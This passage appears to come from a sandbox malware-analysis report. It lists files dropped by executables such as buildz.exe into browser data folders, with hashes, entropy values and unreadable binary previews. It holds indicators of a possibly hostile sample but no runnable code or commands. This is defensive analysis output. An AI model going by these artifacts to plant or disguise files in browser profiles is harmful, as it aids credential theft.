SHA-256:	8BD2C711C93D7804C14E8FA128A6DE6FFD3C49C2AC910CF116A8EA3E5B452AFA
SHA-512:	53798D7E635AFA743D4BB1FA6840D22A8692626FC41E40DFDDF2C009CBC797BF692E7409ADA828B32929E45C9600A9E03E308B89928F4ECC58A5136EABEE64A1
Malicious:	false
Reputation:	unknown
Preview:	SQLit.v)....fI...N..Z.Z...M`X#....\|..i....f"_..(...'..BV....Y......s..@...H....7.'....=/l.0....a.P....6Y.....M...%-I...-.2K.f.....G..5..t.j......../........g.[....5Q.9J.. =SD=....H?..I.B....."l...chGd5...p..Ch!._U......9.P.... .zR.H.<]e.@i.....3..M..s....)6p..C.r..4J..V..4..9.s9.t.\L.....\.k&...<T..\|..\...1..F9..c...?..2..}o..6... ....Q.....s>+.]!X.k.Q._p.Y.6.cJ(...G...e.........z...\w..m.1.kE=...C..f..a....f.d..n..7.6C.lo\|z..7.>.......pS.'..7.......lX..qE.S.G....b...u.B........ f.@..lP.X.0...k.v...e-~[..by.X...~~O %..jg.".....}.......0.d.z....47..v...q....dp?.d....}..vN=kB.X-.H:...@.<...)..)R.O.9..HW{.$..$.^..."5~.m.\|.e.....F....q`..i......6.....Y.zU.......(........(h.@...:<.y..a.(..5.....a.evq..&....Q\|,........3........CR.0(...]`.$x^T3.....A..-t.c..I..>`}.$k......8<a'-U,......w5.LK...P&k.../Bi.....~.......k.I.....X.u..+J.....pY..@...@...!O.jk.."]...i......m.....V.{...x.J.j.W.WB.....o..4^9g.y3o..(O.g..8.w.\..m...J...FN..H]S.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\trusted_vault.pb

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	372
Entropy (8bit):	7.278297429546614
Encrypted:	false
SSDEEP:	6:mNjsggbvZxKjfcIKFD6V95i7LwFaFI6vDMe3JHZh/bG5hIJDfWyc3cii96Z:mNjTgjiDcvDzZFNHZh/bGHG1+cii9a
MD5:	8E1B0F2269ED3A141A5F6D2402DCB19E
SHA1:	11DA2653FA0CC6417D11F6DDA47B33AD359B7A86
SHA-256:	25F860E8DEBF0569310D6BB1D3D374D73FF6CB9B537137FC86526590E6C85260
SHA-512:	C2E8FE75D64D514996560E8E512B8112CE7E3B460D1E726B42B331107DB7CCE20C723C72F3F29C08D06BA5307AA70BC27FA4BD2551C7066FD8215B113E1F2BD8
Malicious:	false
Reputation:	unknown
Preview:	......u.?..L....=.@.2.....7...............c...........x.....j=..F6T.....z..2).N...z...\..f...^.....0.N...NmY.O..h.P.Dq:....E]NQ?.3...5jo.....,w...P'.Y..O...+@q.X\..:.....I.4., ...(?.U!-<I..f..c...j]..\.9]G.l.v..).N..6.5CP.x1._.<.[..)}...`.d.....^e....`U6N..b.a.....Xm.>.PK....Z.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	11913
Entropy (8bit):	7.985862521664649
Encrypted:	false
SSDEEP:	192:YLWOI78qJz4nn1myaesrrrcXeTHI+93aX7ydhZ9uQvIvKyJQgyg6JDFE5X1IOrU/:YKB78l1mJouHharYO0y6m68x1dQ/
MD5:	26534DA28B82C3725634228B22340C55
SHA1:	791FB412C5C2733BA310227CC9081C9AD4771594
SHA-256:	F230F1396F1706DCAE0BC3315EA8B977B9B144F5089097536E16422F2ADB501F
SHA-512:	F90E63E9C923ABA4AAAF7461F433ED79DB48A999F39E58EEFF4F944148F02BE2D1F494E6D2635A04DCB0C0CF777CF59DBAF0BA988CBE7A8B188A425415768EA9
Malicious:	false
Reputation:	unknown
Preview:	H...W.>..PJ.}6..I.x.0.......?4.}o..U.....;6B=."...`..H..S...O...q...@j.....c.u.. ....:.W.....qr....j.....}...M....D..P......S..3.m..u..._0<...p....,t.;.. ..i4.6..7.#..c.N}..?...5.v.b........'........c..'.......T...q....G...V...Sg.3...Y..]..;..F...d.r$..JT..z.....1zZ..N[....w.#U4t.#.=P.b4.I9[..O.~.4...........}.o...G.5a.....L.B...F\|A..j.r...N0q._.....q..._?....PV..O.......)..m......?.:._.j.r...e.......ae.."..3([.m.....3....j.$.^XZ.&...{..n ..p.....8.e.qJ"...........@.".t.m.n.p..L.8.ol.P...[..i....T...}.f1.bTU.4.x.&X..h.BJ..V~..%...8>Hv(.3..m.nb.3....'..Bn$...s..8C....\>...U....{(.O....Er.\|..Fwa9X.q.B.T?.&.)e....C.=.w.Z&.j....8.].\. ...h.."-.y/Jt./.Hm? ........GFlX.......g`.N~nK....<..w..]...]..P:DK..b....d,...Q(P-.e.......8..........^U.....>>L#...h...Y....>I....?.\-)..:..X..D"h.8.....G........6.Nl{........gp^.......?..pFQ...<n-x...."Dq..........{....B..t........"......sz...3..92...6..gQ..c#nN...dU{....7......_..g....D.B.L....3.....;n..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\alex.exe.log

Download File

Process:	C:\Users\user\Desktop\a\alex.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.870471747693516
Encrypted:	false
SSDEEP:	24:8D5Zqz5TpXcArzxIiSH8VG/Vuhu6Es0wkSRwlmnqGyViObD:8Drqz5T9byiSH8VG/VkfFRwlmnqGy0sD
MD5:	753653AF65B2D6C096648ED020AB2237
SHA1:	CDEB5BEFC871737B68F343FE19BEE138DCF8FABA
SHA-256:	881C46D189F7B18A681E4828A8BFA73623AD181A019E78D538A06935F160D987
SHA-512:	7AD18612C7129E32C55EF356340CAA14A75862B3937E7D05340930631E359EBCAE4ACE980C8A79E86429DC12F6061BE15F596E7DA8CF57DC49823F0F4DD91D4B
Malicious:	false
Reputation:	unknown
Preview:	1,"fuM.p......./...4...E..9-..o..Q1.4..=.x..#........gHH..oT2r$...C.U......u...z...R.........k.J.......f.{.@N.w...R.7.}a.,5..v...\|-V/..F.<.#d..Dd....]<L..X.m^f.WR.....c...[X..Cg..s....9...X....Q..QCC...E..,LV.A)....4....(q.@X5=..rd.Ql..XM`.v.b.....o..c...7s.t..\|....m.O...7.Qm.P..;p.\|!V.Iz.. .."...l..v.z..-........b. ......G..T\.........z.t.T2.. .>..... ...[..N..s{..Le._.{.eO..k:..L.$%...(....}<....cG U....'.\*.m.....-/...I&h..x/..L.SNf...o..]..sT8.v()X6S....Jt....$.3.Gn.....h.Z..J......i..N.m.5....f..Z.Pzcm.....N.(8u./4...,?=.o....=n...q9.BX...........q.R..j)....;.3...8.a..x.PUl.Ec.jRU/../8._...j...U.S.z...n...8].&..R.fQ.....~Xig..N...9.......4Z.>.1..a.@uz.)^.m.w..>...!.R!$....0.+...;.Ug.g)p.7w..xsV.xX..d.y2.k..vU.b.."\..9......~....Y....K..2.Ty....&I=w.`.>.3... 1..+..h+...i. ..:.j-..m.K..%.....{.......7............Q.Q\...j....yi....@a..A.......$.-...dy".G`uV.mjek...]".>..2{]<A.....M.N./..\...&..r.......%D.................QaY._M>.O.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\spfasiazx.exe.log

Download File

Process:	C:\Users\user\Desktop\a\spfasiazx.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.8669084462208865
Encrypted:	false
SSDEEP:	48:S0GMWQi99V31VEVBYS2DCklQKJy/VsQ4nQg2D:Sr9972cS5kOKJytmQv
MD5:	F7C4953ED93C91504F7E58A821D2CFCD
SHA1:	E23E8A57CB066C92E8CC5F358B7972DEEF297604
SHA-256:	4093477DB054C94B04C90CF222F173E91509C62CDB8E53399C1F5484D748A514
SHA-512:	C5AE7EF4778F50B19A427B6107AD838535AB86239D31C7E6D96006FB6B6C293D5288084AECBA458610EC85E4D0B398BDCA5EEC1A11332B012DFF4C02C1FB4E76
Malicious:	false
Reputation:	unknown
Preview:	1,"fu..>....jJ6.ALw.z.m.H.U1.9..2.o`M..f=~....\.R.Q.b.s......+&.:.6v....~..b.8.S..>...kg.9..>.....n....m.D.>...d.E@.a.......>.......K.....6.....0..X.....5w.........0.)..`..cT]h$.V."ot.....fq....p.~64....G..nu.".r......'(A.{.d.._...`F..?.....\.KF....F....:..).0&...6.8......J.m-.. .....GEL$rL..+.0Z...L.A#5..A...8...;...5+.."c\.....Q?.3.8..".s.q-=6....U3..+[....m..M.Zf@.5.Q\.c...+.8.K...Tw\).......v...%.:....a~[..Y......K.w.k.I..A....T.i..........+......6#O...~...G...9)...K.5.J...8.....@{sH.sS..pE.r..B..i.....6........Y;...B...U......l..zG...x:(.J. ..&......!..O.{..1T/\9r...y...pn^.U`.37t.?...7....7..)z..)f..M......i,.P7.#.v...s.)}.9....%g.+.]r...c.K..dL.._.7...I........I.xR..W^.e........d$_..D.....v..H=..d.....Z........o.>x.o.x..a.P.....2?W.R...k.r.Kg6.........U....h.......N.c...._&.\....N..mol....aN..h_..c....t.Iy.:R.3H.........g.b.....S..."..M...Ab...e.&.*...o..Y...z3..$n.....`\|`R.3..C....V.X.bp0..)...I...?..lb..w..\|=...[l..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651BFF76-DF0.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5569736276527478
Encrypted:	false
SSDEEP:	3072:fP6vfu12Rwlkay4GhxM+t9M3EH+wG1kGNdd0o6JN8t8dJHpGCkx+eIIqxtm3:H2fVAghxMeDH+/dBVEJtk4eIe3
MD5:	7110915D7AD98C63520D603C28A0E9B2
SHA1:	347D26ADBED0E99086136CB0EE8DEF9D811E7FFF
SHA-256:	2AF95713ED2382C9A377ABBF03142A86F62180161FCA0316D5C645F3DD7130EA
SHA-512:	9ED8520F7E7B926C9A066702E4006BD34606121AEA140E3D3C0D22A0FE800106012EF872694BD059B7C186D7ED28C376ABAB82C23482F9176CFC31B4919AC2E2
Malicious:	false
Reputation:	unknown
Preview:	...@...."...T1.....qe$..4....ZY..Y.T:x.C.i.h.h.j..<..#..?y9P.....wW.,..c..)!...}6.ED.......L..q.x.\|..t..Y...V....K.......\|Gm.?}.....Q"..@.......w..A......9;P..O.E!B.g..q..._..6...!,.....\K..T...g.S@z...Bx..).Z.....W..W...........</.QH...$..3.Q..).Q.'0<...F.uw3.G.Z.h.\|O......./F.cz.d.....%\|S.....MaN_JX...k\|..:.^..6...u.i..(+.=p...p...{l.rU#<.x..R.B.t.e....d..P.....@.....N..M..v....k.P....t.0..X./.6....A6... ....SZ/.}T\!.2<l3....ky...g!.B.B....M......e"}...f?..^..n...m.....6PXwR.#=.%.y.c/[......:....!.`@E.m..\|.sW.:\|.b+%..q....{.1nc..D...H.#.N......(.."M/.xW.(.>..Q.....K5.DJj.yx.h.......Zt..{....x..v.k..^.dtY.P..'..-)....s...{..j.v.Q....F....U......tJ....-d...E............\|..Z.N.....Wm..\M..b.^...0...n..y...d..MAx...-.M.cA+7hJ..&.-..'..d.gqX..\|.,d;J.r......."[0.1.fk.uu@....0..Z0..x.......]U@....l.U!..T.}@.......t......y.8.p..\.g.....d..7..x.>...............])M.5....c ...rMX.SG.....)....A....*........'.C6.-.$..Y.[.....]/1.^r.:.[z....5)S=C..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C00B3-378.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185063068664529
Encrypted:	false
SSDEEP:	3072:sZtYrbSjNLHE6B/0CR+AbpYTakI4gbnTjtUVi4yuYNLTCw4gWyeh9:4mrWh4yTR+o6To4EnTj2Vi6Rw4gna
MD5:	A311283578B60B28DFF1E8C0EC2BF6B8
SHA1:	6F8D0E6ABD8038CF931517DA432119F5B4BADEC1
SHA-256:	721C5F291D2EADDA7D580B0C8BA4726D302EB64ADBFBFB12EEBB7DD0743633C5
SHA-512:	D238E679E3F9D541E57CC30A166E553CB3CC98B97B55B06786E630DA285C4E0E0532158E0DAE1C7F755AC014832B025C025BFC977223376AFE8D567CF541F409
Malicious:	false
Reputation:	unknown
Preview:	...@..n.t.#r{..t..ox.9v.t%.J.7,.......d..B....L.vN.....1f;...f..I&.......QX+9=.....Ns.t..> ...Z...8{J...... ..VB.yI..yk..;.n.ZTX...D...>..1...'..m]<Os.h._.....y.c.N..C..r..x.Tj..4.RCN.....\....}t.:.D.J.2,K......~-8....<.>GA/~"...U..2j...@:..K.+..lC..~...o..\|.5.b...35.....(.L..Z..VDCx...$u$4.1 Y.f....!..J...=.H.r.S?\!....C....72.....M.k.>.thE.V&...EK.q.&.Z&........)...8P.."z...0.1W..X...O..E"O...i....XC%u=....\|X.j........R.C.8..\|..E.W.g.63...:\|."..O.............l.h.{.;..m.....%.u@.nT.1yA..../......\......:b......8A{X.cm../...wp.....G9.. ..~...,..g..).L.....jx...Z.+$J@..ox.i0sy.f.\$..L)....L5.l..n......]..........$O.w.}6..l...C...O~:../.ZG.~rra.C.e.W`.....!Ze.".T.E...1.R...,R....Hf..c[.?....vF......b....M..=B..hO:._:Wq..;'.p{U.h.A:p2...F.4...../%.p(5!......W.....@.OW#4...y.....-.,..g&./7?....p..-.y.An.....".9~ /....i@6WO.s<w.....!$.HC.....'.[:~s ....A8.....O..(.....YN~.R.4.\.....O...?....]$.['e.t.....p2...C.T......a......t....;n..f)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C00B3-67C.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.518593473435786
Encrypted:	false
SSDEEP:	3072:Ni0MrdGQderbAxGRJAJs2T/irdIsXA/Xgm4Jt2WZXHYQibQlecjUgIs:PMRGBrQmas2T/ipLmQ2sX4vc04Is
MD5:	D333BF6B7A8BA49A06243F41F05B420B
SHA1:	48CB3AC026F611E452E108F11CE62C6072440614
SHA-256:	B50B3B4A787AD9C72132FE04DCB9AC959F494259CA377494760D51AA44A531A8
SHA-512:	D7089989AAFAF39A9907620DB5C88B6743DAF300FAC0537124FC804929C8672F99B3D717C7DF9436F5C4725C12BB57CCF9A4757E9E54B96CEC775CD864D1C390
Malicious:	false
Reputation:	unknown
Preview:	...@.....Z.'....)..%..$i. ..}.m/.P...8W:A....Uz.?'...2.0.5.P.L.9@.....$xR....$?(X%.R.....`..D.Sr..-2.3.'....\|...9YX1......?...+.PB.....q&+....p......6hz.5?...u5dk..B.q>(c.....`{...'._....`<.M.C2[@>.V...@.5e.A~........4....6.....&...p.4G.."$....7...LD.......H.....=C.s-+.3..c5.T.....,u..q......Q.\..<.......e...g.`1..L.Q.....R.......d.`.....I.rg.4E..a..1w.{...J.....4.[V......d....$..,...9...9H.,.....z.K4p._....j~....5JX.R...2..p.r.....`$.8....dkyw.H...vzI&.H..[..T}...K.. D+......@PV.o$..?.4..g..y.o....6P..Z\|.C..C0%.f.9.........O.3S....].O'.."#.UE.......L@.G3.?...T.Zk&./@{..E....s.u....-~.$..!...,3(...c....EB5..&BP..^.7u$)OgW<}.L.Qf.......@g..T.=.">:...h..J.?~VEI. .&.t.+F.}..K,..s#.C.......U...{.I.)(..].-6.\|..!.:....53.....NQB.1..p...0m6^.....`.J@.!..J....rY\|..l..=O...f.e.Y\|...o./...S..}....B.iw`(...[#-..\|.......N...Q.nj......5.s..*E,..3m..\|..K..Nq.O.hQ.t..Dtl..&u.P`C...Q.f...W=-.E..nI$.....`.W.........3..1/.<...q#W.Bxy...^...,..ioQ._

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C020C-1B28.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185732436812915
Encrypted:	false
SSDEEP:	3072:lXf8HUDqYUpMhokVVZ0ZDCDqc5IHwSm+EKMMpt6gyomM426OLPG:lXjY38Z0ZDCDqc5TNWy442DG
MD5:	34FF324B8E6319EFE6F89F3AB7005321
SHA1:	E9477C872F16BB3E26AC26799F275313E707BCFC
SHA-256:	0861F2536F55FA1403A1E468C3FF67A7FC4CAEA55885FA3BEF6D6BAB9A02007C
SHA-512:	3275B3BD7CCDC2A5B97D33D433C7FE18E63F677D61F2A28CE95C4F5331E78A4382439E4A99E2442AC446E624BB0B2ECDF2F6FE79F3961604A11600709B589A89
Malicious:	false
Reputation:	unknown
Preview:	...@.........&'..R.nb..<........Q...>...1.`.r.S.P....;0.q.Jw.3..\..c.<o.....G.K..v............-^L.io.r.......-1..H.....{...T.}F 0.i..42.`6...P.?.R[...x.dGG..J.]..,kx08B..\l.....0....o..=lN.8.6...DW.....\|n<.1.....(~.[.6.O..&..R....3..6K.60.U....;.....{.5.H.].!.l=..r...r...P.Vp-g..H..%`0..$&..Y.......-.....j.%.ve\..ie......y.Hjd..JR.X."c..).lJ....I:./.Q..^.?...b...,....y.JK........D-#_V....^..-..+C~..^..#O...b'D2.f5?..'N..6.......].....=..t.O...p."..e.$m-..?.m.CW...!..r....Q....9.......&.l..;yE..w.9..g1....u..j=7}w.9..%.."......S..Z{..q.`..WYI..$..."....[..+...........Vu;9...JxZ....P..O.Ohw..O<lqi..5G....'....;..T..Jw_v...Z.....h....h...B..9..gNd5g.7......R...S'+....)q.6.ZQ.TU..{bw..]\...wR....t..U........:....:Kv..\...d..Cj..._...T.U.O.]D*.D..x..K.Y..6..).(,G..n...oS.K.a.P...[.n..T..S...K.~...t.D@@.`f.....v.....s<..C.@..-..O.v.[.U..s..o+zK>.7..zb..5..d.^...Z....h......1.G.....^..a..;\|7:3..........X&~...E.y...P1.5]H;"..r%/.@.3y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C020C-B60.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184123629485331
Encrypted:	false
SSDEEP:	6144:EKt0Ddd1ZR4nj6BGkZG0KeGqKsCnpO+vNGl:VtUddRNGkg0K9nel
MD5:	ECBF398A0AA15860B3470CFE25FCC4DE
SHA1:	F9A99B7AB891C5ED2903CD0079997695610063A6
SHA-256:	3F63A5576355582B6E0BC17D0185192F9572FFA72A664D7451266998F7C32D4A
SHA-512:	6AD0FD8607186023E7E4BFE6C8D2B285E6D2BE886FA7261D136BFECDBF190B00E329D406DA6BC0B6EBF6680BB607352AD9113372793BEC5DEF988A4CD571F615
Malicious:	false
Reputation:	unknown
Preview:	...@..N%W.ba2...K.2..s%.....h..b.....3....v.5..J..~....t..KK. .x..A...uq....<...._WB./...T...W..{..H,.z.@?.w.2O\..^...c\|.O..mh.x...^....(...L<.....l.K#e)N.~..7.K....pL..+p.....'.5.&..wj.9.j..C.]`..:S.U.G.`.\..R.d....c......H.,.3..{O.f)......_.r.<$E9.W...@+.F...=X.C....4...VL./B.i..7..p........q7...f...}...,.X.....hD.it..j...X]..+a/......d ..2..<$(...y....d.71.q....l...p.>........MUi..../z..uR.....1......(D)a..u.7..$.U>...f_......1.F...Q..u.z..iV......>.&U.+..N...,..T...U.W.}U...%.U..h.{.F....G;..Z.q....."k.y1..I.L......8./\|..u...A.^...$Yuo.J:..+U1..4..Oa......4..m. @...r.#....:g..$.Lw....F!x...S'...e.YI.hC.7).uv.....I..\|.....[...ne....<......0...R..O...W"Sr....)..d.....uY..h?./!\|..a.).$...)..bf.:..OX/t..U...:.!...N..,G...Q''..SVg...j.=..uk..WG..:E..f....T.........`.#...`V../.D..."T.)..Rx.....S..V.,IZ....]V9.jEjSI?.....c.}<../n.X....`..K...r..q.Q...1.XX..\W[};N..k...32.f......u.*PG.O0.g.0....~.J.....c.Ik....f!.nu..O..C\|:....n. :n..v..i.Z3..l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C0537-1BBC.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185252096575249
Encrypted:	false
SSDEEP:	3072:MPo+S7EcOQUnKYDBQrGMUMHQmbs0+mjOvwlyayq3PyGaxYwCkzoaw1LtBhG:+4nHBCQq3jcOv1OyLeo9mPI
MD5:	D5FD0860DB07A1AAFF12BDFBD53AFF88
SHA1:	2BBA65C133BBBEF7FAA2BEA52D89FBEC29B49878
SHA-256:	7423712B746448F46CDA1F9B3861A67DCFB178E95C7AD1935169B4AFF6258202
SHA-512:	BA5AFA883505326AB642B0CB0C7FD3A971DA3DBB774EB292619ED43DFB01E90AEFB5122F919C48501A02622C508618CCF9D1BA23F437625611FA97095978E84D
Malicious:	false
Reputation:	unknown
Preview:	...@...U.uvQ.........x..mh.Cy....@....r.!...Yp...<e..d....Y$...'.....Sn`.(B.A........mXe....i<....H..X..Gq.I.@o..S.p.....p...Rt.P...J.[.xJI=.....Qs..tx....@b....4......@.~{.K.....\.....[..7.Imgt.;.,..g..'G.r...&.+RE\..`..p.a..u)\|J<o.`.1.J..._..O..3}.?......j.==0.....S.3..d.J.........d...1.`.(.#..0.......m{.R.......c:u.P,.3&...... ......E....?.jKI.WP0..7...k..~..w...s8.......g\.[7&..9Nyc>/...91@#...8.{E.M~.a...xm.2R...k.s.\|..q1.o...g.H..o7..M.................V.~.9.l....W.h.0AY..u.v....S..I%......l.\|.PA..v....]..x8...y.p... ......z>.lf.S.M..Z.A.:?`.o.Z...6.X.M-x.et...).\|)^.n;....[..U...N..u....~..(.5b..s....~m.nk.......X..../.G.. ..4.=..q...MO.uS(d{?m..=.4B14q..W.....{.U3..Z#.......1....4P.y.R.Kcl._.Ib%...H.:.g.+.....{.........oe.uw.....,.2.3.%z.?Jn....i....-T...^..Z..e..~........P.m...r$..N.T..+w..@.........d&..a.&. .......a..C.7.3....E...........%....9.m.G&.c..)...Hf..s...d.i.......=d...,.....j.......EWN.../&g..`.X..)..n6.(iI.k..T.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C0537-1BC0.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185259249682275
Encrypted:	false
SSDEEP:	3072:yO/pM+i/r2mDClnFqBLfGTD9afSE0336ZgnfYCUjh/k7FTaZ:yW+6mDClFqBLuASEQ36Wf8V/kpaZ
MD5:	F900EBC7336A2BEA8023983E17453EEB
SHA1:	4A0922291B3A5D6C44122BF4EF87F2A7E1868021
SHA-256:	ED18E60CC7AAF605716E429BA4CFEC8EFBC4E295C17EC27555EEFB058B313254
SHA-512:	30DF38661840BAA0A4752A8994441AE9763C4018A790D07C5AB9BDB3FE63DC4AA864108FB1CC0C4B60031237CFC3E957AD551099FFADA9DBCE4185566054EAE8
Malicious:	false
Reputation:	unknown
Preview:	...@..........$H3.a.."jt...\.....)]......&;.d.!..IlXK.C.[5s..&YrI.C....,.t......U.@.5HV.w..qR.....G#..W2.....g.4b........@.EI..q..)K6.ra!..j.x.......@.`V...6....% G.5.}(...m...?..>.\..hyg.\|......d..il........F.;.(.{{..#.... }...!......?...0o'Es=2y..;....T`..\|.v.=X....."..hS...{.pj.".}..>}.I........."n.....G.3...K'........t.Q,9.2X....;......G\..v&hg1L......ks...tG.J...K....K....I....<.T].......k+{.5.\|s.F1" ...6N..]....d..+.z.#...za..,-.MG..l.#.S.M..u)F.Q..t\../ ^P...-...1..TI...Z.,....z...../C.q.d(28.`..U.e+.z.y....P.../:.....@...6..&......M......d.!..[.XC..#V..B....qT..z.............wG.A#.e..x.V..9x....<.L.u...3.J$K....6.d.....`....._.....8h...I..agn.\O.*...........zQ.......(.j^$.}hqG.1L.cp..-Y..=2n..................F.......H.]a.vV....S......:.o...\...q..y.=./..Y...Sc.G..^.....9.1..g...].i....t.vV0[..0.n.....{C M).z....@.^.9..s.....p!..8.)#2.2..(.gk.=.. .....l...XJ......w.O....bF..)....z.m...C.....Z..j.f..<..:X......O..C..m.U6..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D22E2-1DAC.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183974023754638
Encrypted:	false
SSDEEP:	6144:Wdc1KChB1lvbjVgyuuYYOjWjEwr/Q/YAEF:Yc1KuB1lD5gyuuYhIr2YAEF
MD5:	7B296F9BE01F0FD866F7E9F62F679A1D
SHA1:	BA5DBA95CCE8BDC7276C7BA9608B320CCBBBA875
SHA-256:	1D4F98E720A76A45C80B5A60C624B19088BA005271FC027DAE63DCC71EE5E2C9
SHA-512:	5EC4E934946EC570DDBEDA08E381615E267259AAA3FBE4FC662B54ABBB32F7D9936DBBAE2E4BF217C7F983B39505120D011E278A9A5E2BCC6C2BD541AEF6C4EE
Malicious:	false
Reputation:	unknown
Preview:	...@.....]?...t.~g.x..'.&0Fi.b.....M...f.....Z..-.....ks^$d..E#....i..J.P..5 ..V2.Vi.=$..J....Z.4.....B.Y..!..T5........=...rK....]`^Y./..O.._.H....E..2>.o.,H.[.1....'.B.?.b.HB..~b..,?.....e....b?..9.....q....c....+U.19>....>..,.q...;$.........o.?~"...&.7.!\.M.;.h.$.....d.....z...f.h......3.........7G..9...r.[.4..G.:M....pk........vu.b..(.;..S...A...[.b.q.2..4.v4..p#..G..Q...v...;m7.g...a.(E#.1.:...^.<.A.....I,.~....[..4.ZR.U9.V"V2he...<+......5(1.&..z.K..X.e.\..X'..\....#Q.."...~....:..........U.....DD".G&.....Z.N..i..Bk'3..B.Z..rZ...\.B@........t...(a.KC6...[..u.....?....I.k\|..c......o.J......43.../r7.q..%&y..:XQ..J...%!.....i9...x.Z.........O.y.8...'*....C..yF...X..q..2...6..Z.?o..dR....l"Df...=.o.n._.w_... _...a3....?.$..o>...o(.{..J..\|.'G.b..a..X.9..c...v....G...e.$.f.p.....4..XS...w);p...o.x........\L.e....d..C.U.a..[?.....z.u..A..\|.\|.....M......_yv.]]:...pJ,.tH..T.........cl.=G...Gj....\|...\|t..A.^2j...wJD...x..)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D22E2-A84.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184524024154101
Encrypted:	false
SSDEEP:	3072:2aWUmLnbAvNhO7lpCRf9R0EOy+WFWyz0frwcYDYfmYJyap6cQLnb/:2aWXLeXCpQmEF+62TYXPLnT
MD5:	2144CC097CCE4F4FB8BBEA7DE8DCA74F
SHA1:	73315D1F69DD0FBEF04ECFD028DE17840228E250
SHA-256:	DF104E4F56E6A337B8F9A8E94C1E7B54CD2185EA51D8BD85DB244957909185A2
SHA-512:	1509904243009C587555064D0DEDB1281515611F9F10778A337405A8D43A3E21F25B6B6ADD334AA5ACCE032E407438276E7823C83E483F50EF41C68694E74134
Malicious:	false
Reputation:	unknown
Preview:	...@.v.. m.[.....T..#.o.!.O.~i.U].w..1..8.%.<"X..w.r.pO2...D............._`..X/..A...}`.Vtk;....f.%......wg=......Vy........O.R..rqlw..v...`.>A.Gy.9..}.X.e.l$(V.nW..2a>FO....L......S....<..$...z.%....r..L8.u....N......nH..H.6+........L.D..$..h.t...V_.5..o.[..m[....msy<.....v"iHK......P]..5.....$.x..T.C..Q.Sf..W..c....<E.'4ol%...-77=..w\.1S..2..`...Ox...A..;.U.9..[l.@.eF.......xaf...f..-.*.RH;...\.i.d..".......v9.....i...l.%.h..YQ#e.Y.sX&...j..Y..T..(.....=4..`X.R.._.B..!...rc[.-...5.><{........6lS.!..........!n..6+B..&..IB...H/.../....V7..-l.GF:.W\|......R.._....:..I.....B..5......7.B.S.?...k..e.......m.q&.........!......[\|)e%@...(..rb.~.h...0.7.wc......=Z.=;.....S..6..v....z?......A.R..U......\|0.Vi..C..d.9b..9..Q.y...!.....3r....bv.8.....,.,..#Z+.....E=.KGH..."C...h.m.....E?.........t...%.P.u6..($./y.....X..$%...w..v.O..a.....@.c.p!.o.9.U...i>..8...v..].f...Q.......b.q....O1m...A...."..;..?........O....@..y....%.a.4l.Wg.UD..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D23AD-1560.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184838124985817
Encrypted:	false
SSDEEP:	3072:uw2+i9tvMMYdXQ5DqKbq+7KgpMVogpELW3Qjg:uw2+SvMhA5DqD+7KkLgd3Yg
MD5:	E12322A05F64459A14B72568ACEA7F82
SHA1:	92A65ACC0DDEB14F80BA8B3F0EAB4A5CA0C6B924
SHA-256:	E66DB556952D344D0D643BE4269E19C44C32208D8B71AB60F72D478A14E61F6A
SHA-512:	D253E003F3BC8CC74B084CD663991EC850B765910C5B020A49CF2B83767E614FAEC739F6A951CBA8C90D66B0F256EBAD75D3262973F379D82B12D94F3F00FCAD
Malicious:	false
Reputation:	unknown
